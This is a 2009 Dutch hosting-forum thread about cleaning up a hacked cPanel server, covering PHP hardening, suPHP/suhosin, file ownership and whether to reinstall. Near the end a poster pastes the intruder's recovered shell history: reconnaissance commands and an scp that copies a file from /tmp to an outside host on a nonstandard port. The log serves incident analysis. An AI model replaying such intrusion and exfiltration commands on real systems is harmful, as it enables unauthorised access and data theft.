Likes: 0
14/01/09 07:53
De php.ini bestand kun je makkelijk wijzigen zonder dat het problemen gaat leveren met Cpanel. Bij een update van Cpanel word dit ook niet gewijzigd tenzij een major update van php (b.v. 4 naar 5).
Ik raad ook aan om suphp, suhosin, mod_security etc te installeren. Dit kan allemaal naast elkaar draaien zonder problemen.
14/01/09 08:45
@PeterT
Wel grappig dat je iets een voorkouwmodus noemt waarvan ik al beschreven heb dat al eens gedaan te hebben.
Ik had toen ook al alle rechten goed gezet. Bestanden met apache:apache of in dit geval nobody:nobody bestaan niet, hooguit usernaam:nobody omdat apache als nobody draait op de server van m'n kennis.Oorspronkelijk geplaatst door Blacky
Het beantwoord echter niet mijn vragen omtrent wat de risico's zijn. Het wijzigen van 777 naar 755 als er suPHP gedraait wordt is geen probleem.
Maar de werking van die webshops moet gegarandeerd zijn en dat lukt dus niet als ik php in cgi mode ga draaien en dat is wel weer nodig als je suPHP gaat gebruiken.
Die shops kreeg ik alleen gedeeltelijk weer aan de praat als ik in plaats van .htaccess bestanden met informatie nu php.ini bestanden in de public_html dirs ging plaatsen en dat kan niet de bedoeling zijn.
In elk geval kan ik wel iets met je informatie omtrent de php.ini, waarvoor dank. Die mag je dan wel als voorkouwmodus beschouwen. Maar alles moet ooit geleerd zijn. En leren is leuk, maar niet in een noodsituatie, dan wordt je liever graag even snel geholpen om het euvel op te lossen.
@Rachid: Bedankt. Op dit moment is phpsuexec en mod_security aan het draaien.
De beide anderen durf ik niet aan. Zoals gezegd is het mijn server niet en verleden keer veroorzaakte het draaien van php in cgi mode (makkelijk om te zetten) een uitval van de webshops en da's mijn grootste zorg.
Dus ik denk dat ik het voorlopig even zo laat, het is nu in elk geval een stuk beter dan voorheen en dan kan ik op m'n gemak mijn kennis omtrent het gebruik van suhosin, suPHP en andere dingen weer bijspijkeren danwel opvijzelen.
Ik zie in elk geval wel dat Cpanel toch voordelen heeft boven DirectAdmin wat op m'n eigen server draait. Beter en uitgebreider.
14/01/09 09:48
cPanel gebruikt een eigen php.in die anders kan zijn dan het php.ini van de overige gebruikers op de server. Bij een update van cPanel wijzigen dus niet je instellingen ineens ook mee.
DreamHost.nl Web hosting - cPanel hosting om bij weg te dromen.
14/01/09 13:45
Ik noem het voorkouwmodus omdat je hier aangeeft "mijn server is gehackt, hoe kan dat?" ipv (zo lijkt het althans) zelf actief uitzoeken hoe het kan, de beveiliging opschroeven googlen/de search op dit functie gebruiken omdat dit soort onderwerpen al vaak langs zijn gekomen. Ja, er zit veel kennis op dit forum maar betekent dat er geen eigen initiatief verwacht kan worden?@PeterT
Wel grappig dat je iets een voorkouwmodus noemt waarvan ik al beschreven heb dat al eens gedaan te hebben.
Als er bestanden door apache zijn weggeschreven, zijn deze van nobody:nobody.
Als alle rechten/ownership goed staan, zal alles netjes blijven werken. Let wel op php_values e.d. in eventuele .htaccess bestanden want mod_php zal uitgeschakelt zijn.
Zie hierboven, mod_php kan php_values / php_admin_flag etc herkennen/verwerken, php als cgi (met bv suphp) niet. Dat is logisch..
Inderdaad maar het zou je sieren als je bijvoorbeeld eerst googled en als je er dan nog niet uitkomt vraagt ipv eerst roepen en dan nadenken.Maar alles moet ooit geleerd zijn. En leren is leuk, maar niet in een noodsituatie, dan wordt je liever graag even snel geholpen om het euvel op te lossen.
psst.. phpSuExec is ook een manier om PHP als cgi te laten draaien
Beide kunnen hetzelfde, cPanel heeft alleen meer kant-en-klaar.
Vergeet overigens niet de compilers te disablen voor users. Kan ook via WHM.
14/01/09 17:09
Ja maar dat had ik dus gedaan. Ik wist wel van die beveiliging, maar mijn vraag was dan ook hoe het kon dat ze root rechten hadden gekregen, terwijl ze dat niet konden bruteforcen vanwege de aanwezigheid van denyhosts.Inderdaad maar het zou je sieren als je bijvoorbeeld eerst googled en als je er dan nog niet uitkomt vraagt ipv eerst roepen en dan nadenken.
Daarop kreeg ik een antwoord hoe het te beveiligen, dat is wel mooi maar dat was de vraag niet. Ik weet het nog steeds niet maar vermoedelijk via een malicious script op een van de sites anders kan ik het me ook niet bedenken.
In een noodsituatie roep ik nogal graag, dat klopt en ga tegelijkertijd zoeken, des te meer kans op een snelle oplossing omdat je een antwoord kunt krijgen uit zowel je zoektocht alsook iemand die het leest en er op antwoord.
Al is het maar zover dat je tijdelijk beschermd bent om dan wat meer tijd te hebben zelf verdere oplossingen te zoeken.
Normaliter probeer ik echt wel eerst te zoeken en te kijken hoe ver ik kom.
De meesten die ik zie zijn van user:nobody, de via php/apache geuploade attachments ook, maar grappig genoeg de door apache gemaakte thumbnails zijn wel nobody:nobody.Als er bestanden door apache zijn weggeschreven, zijn deze van nobody:nobody.
Maar oke, het was al duidelijk dat dit van apache was.
Exact, zet ik php in cgi mode krijg ik een server error bij de webshops. Oscommerce gaat dan bijv. heel vervelend doen. En dat heeft dan puur met die php_values in de htaccess te maken. Maarja ga eens al je users leren dat ze het nu met een php.ini doen moeten. Ik denk dat mijn kennis daar geen zin in heeft. En ik help hem alleen maar wat uit de brand als vriendendienst. Alleen leer ik er zelf ook altijd weer van bij en dat is dan mooi meegenomen.Zie hierboven, mod_php kan php_values / php_admin_flag etc herkennen/verwerken, php als cgi (met bv suphp) niet. Dat is logisch..
Als ik die server in het begin voor mezelf had moeten inregelen had er phpsuxec, suhosin, suphp en de hele rataplan op gestaan.
Er draait nu de gewone suExec er staat Apache suExec en da's toch weer anders zag ik al.phpSuExec is ook een manier om PHP als cgi
Kan phpSuexec wel moet php_values en php_admin_flag overweg of ook niet? Want het zou toch het mooist zijn als die .htaccess en die values gebruikt konden blijven.
Cpanel heeft inderdaad meer kant er klaar, maar ook updates, easyapache (heeft da ook niet), is toch wel handig.
Ook niet bugvrij want nu werkten de webshops in IE ook niet omdat de base-href leeg was. Even omzetten naar cgi mode en daarna weer terug naar dso mode en hups de zaak liep weer.
Compilers waren ook al uitgezet maar toch bedankt voor de tip.
Waar ik wel nog mee zit is een hoge load op mysql en zo te zien heeft dat te maken met --skip-external-locking. Daar heb ik half google voor opgezocht, maar naar ik lees is het verstandig om dat aan te hebben, doch voor de hoge load zie ik een x-tal posts, maar geen oplossing.
Bij deze alsnog bedankt voor de hulp en de uitleg. Ik begrijp dat er even een misverstand was over de bedoeling en niet duidelijk was wat ik wel en niet wist en/of al gedaan/opgezocht had.
14/01/09 17:42
Been there, done that. Kost even wat extra tijd maar daarna ben je er blij om.
Dat is een andere verhaal ja en nee, phpSuExec kan er ook niet mee om gaan, alleen mod_php.
DA heeft het custombuild script, bijna hetzelfde als easyapache. Kijk maar eens in je /usr/local/directadmin/custombuild (er vanuitgaande dat je met een RHEL installatie werkt).
Zet de logging aan zodat lange queries gelogged worden of gebruik iets als mytop om het uit te zoeken.
15/01/09 00:53
Ik wel maar mijn kennis niet en het is zijn server, ik ga daar niet ook nog eens de gebruikerssupport van doen, mag ie fijn zelf doen.Been there, done that. Kost even wat extra tijd maar daarna ben je er blij om.
Nogmaals iedereen dank voor de hulp.
Ook jij nog bedankt PeterT voor de tips!
15/01/09 11:24
Ik ga me toch even er tegen aan bemoeien:
Waren de bestanden nu root of niet? Zo ja: formatteren...-rw-r--r-- 1 root root 37319 Jan 12 16:45 194.105.29.254
-rw-r--r-- 1 root root 37319 Jan 12 16:45 toderu.ro
15/01/09 12:30
Yep, het staat er duidelijk, de bestanden waren inderdaad rood.
En via de security log heb ik gezien dat de login via SSH gebeurd is.
Formatteren, ja lijkt mij ook de betere oplossing, maar het is mijn server niet.
En vermoedelijk is ie bang geweest want ik zat ook ingelogd de 12e toen ie bezig was. Want in de bash history zag ik dat ie steeds op w drukte om te zien of ik nog online was. Zo gek veel heeft ie niet gedaan, tenzij hij daar delen uit gehaald heeft, maar dat zie je dan ook nog wel.
Dus tja, ik heb mijn kennis ook gezegd dat hij het beste geformatteerd kan worden maar daar wil ie niet aan, het is een machine met de nodige shared accounts.
Aangezien er te weinig bruteforces waren vermoed ik dat ze op andere wijze aan het wachtwoord zijn gekomen, spyware, bot of iets anders op een andere pc waar het wachtwoord bewaard werd ofzoiets wellicht.
15/01/09 13:12
-rw-r--r-- 1 root root 37319 Jan 12 16:45 194.105.29.254
-rw-r--r-- 1 root root 37319 Jan 12 16:45 toderu.ro
Waren de bestanden nu root of niet? Zo ja: formatteren...
Niet ROOD, maar ROOTYep, het staat er duidelijk, de bestanden waren inderdaad rood.
15/01/09 13:27
Ja sorry, iedereen kan een typo maken.
15/01/09 13:45
Echt niet. Als de history niet gewist is dan kun je voor 99% achterhalen wat er gedaan is en ik kan je garanderen dat voor 99% van de gevallen de inbreker helemaal niet geinteresseerd is in de rest van het systeem. Ze willen juist een systeem dat verder als een zonnetje draait, anders worden ze snel ontdekt en/of hebben ze niets aan de machine.
Overigens heb ik ook wel eens meegemaakt dat ze een password sniffen als je het voor FTP gebruikt. Daarom moet je altijd minstens FTP/TLS gebruiken of SFTP natuurlijk. Dat sniffen doen ze bijvoorbeeld vanaf een gehakte machine op hetzelfde netwerk, dat geen vlans gebruikt.
15/01/09 14:03
Niet meegemaakt, maar wel van gehoord. Op die server is echter NOOIT het root password gebruikt om via ftp in te loggen. De mogelijkheid daartoe staat als het goed is zelfs disabled.dat ze een password sniffen als je het voor FTP gebruikt.
Voor de geinteresseerden, er is 2x ingelogt volgens de history en dit zijn beide acties geweest:
Actie 2:Code:w lsof mount -v ls -la /tmp/ lsattr /bin/ lsattr /sbin/ lsattr /usr/sbin/ lsattr /usr/bin/ last last | grep root history w w ls -la cat .lesshst w dmesg tail - 400 /var/log/messages tail - 400 /var/log/messages.1 w cat /etc/syslog.conf ifconfig netstat -tulnp netstat -antup fuser -uvn tcp 55606 ls -l /proc/3926c cd /home/dexxxxx/public_html/ ls -la ls -laR | grep -v dexxxx cd ./pics/daqog/ex3/ cat t.htm cd ../../../ grep -Ri irc * grep -ri irc * grep -r -i irc * grep -R -i irc * ls -la ls -lat netstat -antup | grep 666 ps auxf | grep 3926 lsof 3926 lsof -p 3926 ls -la /proc/25811 ls -la /dev/zero rkhunter -c w ps auxf cat /usr/local/apache/domlogs/dexxxxxxx.nl yum check-update logout
De accountnaam heb ik aangepast naar dexxxx net als de domeinnaam.Code:hostname ps auxf | more netstat -antup | grep irc netstat -antup | grep 66 lsattr /bin/ | more lsattr /usr/sbin/ w w last | more ls -al grep -R "safe1.txt" /usr/local/apache/logs/ grep -R "safe1.txt" /usr/local/apache/domlogs/ grep -R "safe1.txt" /usr/local/apache/domlogs/* ifconfig ls /tmp/ more /tmp/13.jpg scp -P 45226 /tmp/13.jpg toderu.ro scp -P 45226 /tmp/13.jpg toderu.ro scp -P 45226 /tmp/13.jpg 194.105.29.254 scp scp -P 45226 /tmp/13.jpg 194.105.29.254: scp -P 45226 /tmp/13.jpg toderu@194.105.29.254: rm /tmp/13.jpg ls -la /tmp/
15/01/09 14:38
Succes. En die 1e % vertrouw ik niet. Laten we het zo stellen: *IK* zou formatteren, en er zijn genoeg discussies geweest op het forum om dat te doen.
15/01/09 14:43
Ik vind dat een Windows-gebruiker opmerking. Als je er even niet uit komt, dan formatteer je de zaak gewoon...
Toegegeven, je systeem herinstalleren heeft zeker voordelen. Het is een afweging die je alleen zelf kunt maken.
Quote
